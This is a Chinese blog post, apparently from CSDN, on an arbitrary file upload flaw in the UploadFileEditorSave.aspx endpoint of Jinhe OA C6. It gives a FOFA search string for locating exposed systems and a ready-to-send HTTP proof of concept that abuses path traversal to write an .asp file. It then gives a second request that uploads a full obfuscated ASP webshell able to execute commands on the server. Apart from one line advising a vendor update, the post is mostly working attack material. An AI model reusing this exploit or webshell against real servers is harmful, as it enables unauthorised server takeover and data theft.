金和OA c6 uploadfileeditorsave接口存在任意文件上传漏洞

产品简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统升开发平台,电子政务一体化平台智慧电商平合等服务

漏洞概述

金和-c6 uploadfileeditorsave 任意文件上传,攻击者可通过此漏洞获取服务器权限

指纹识别

fofa:

app="金和网络-金和OA"

漏洞利用

poc:

POST /C6/Control/UploadFileEditorSave.aspx?filename=\....\....\C6\qps4cckjuz.asp HTTP/1.1
Host: your_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Connection: close
Content-Length: 191
Content-Type: multipart/form-data; boundary=----9fh1lo9qobtszaiahg6v
Accept-Encoding: gzip, deflate

------9fh1lo9qobtszaiahg6v
Content-Disposition: form-data; name="file"; filename="qps4cckjuz.jpg"
Content-Type: image/png

<% response.write(111*111)
%>

------9fh1lo9qobtszaiahg6v--

在这里插入图片描述
验证url

http://your_ip/C6/filename参数中的文件名

在这里插入图片描述
上传webshell

POST /C6/Control/UploadFileEditorSave.aspx?filename=\....\....\C6\b.asp HTTP/1.1
Host: your_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Connection: close
Content-Length: 1282
Content-Type: multipart/form-data; boundary=----9fh1lo9qobtszaiahg6v
Accept-Encoding: gzip, deflate

------9fh1lo9qobtszaiahg6v
Content-Disposition: form-data; name="file"; filename="b.jpg"
Content-Type: image/png

<%
Set AWf2I = Server.CreateObject("Scripting.Dictionary")

Function BPMMI0(content,isBin)
    dim size,i,result,keySize
    keySize = len(key)
    Set C2xl = CreateObject("ADODB.Stream")
    C2xl.CharSet = "iso-8859-1"
    C2xl.Type = 2
    C2xl.Open
    if IsArray(content) then
        size=UBound(content)+1
        For i=1 To size
            C2xl.WriteText chrw(ascb(midb(content,i,1)))
        Next
    end if
    C2xl.Position = 0
    if isBin then
        C2xl.Type = 1
        BPMMI0=C2xl.Read()
    else
        BPMMI0=C2xl.ReadText()
    end if

End Function
    content = request.BinaryRead(request.TotalBytes)
    if len(request.Cookies.Item("hhh"))>0  then
        if  IsEmpty(Session("payload")) then
            content=BPMMI0(content,false)
            Session("payload")=content
            response.End
        else
            AWf2I.Add "payload",Session("payload")
            Execute(AWf2I("payload"))
            result=run(content)
            if not IsEmpty(result) then
                response.BinaryWrite result
            end if
        end if
    end if
%>


------9fh1lo9qobtszaiahg6v--

在这里插入图片描述
测试连接
在这里插入图片描述
在这里插入图片描述

修复建议

联系软件厂商更新至最新安全版本

【千山以外有千山,这就是江山;六宫粉黛独见你,这就是美人。】

  • 17
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值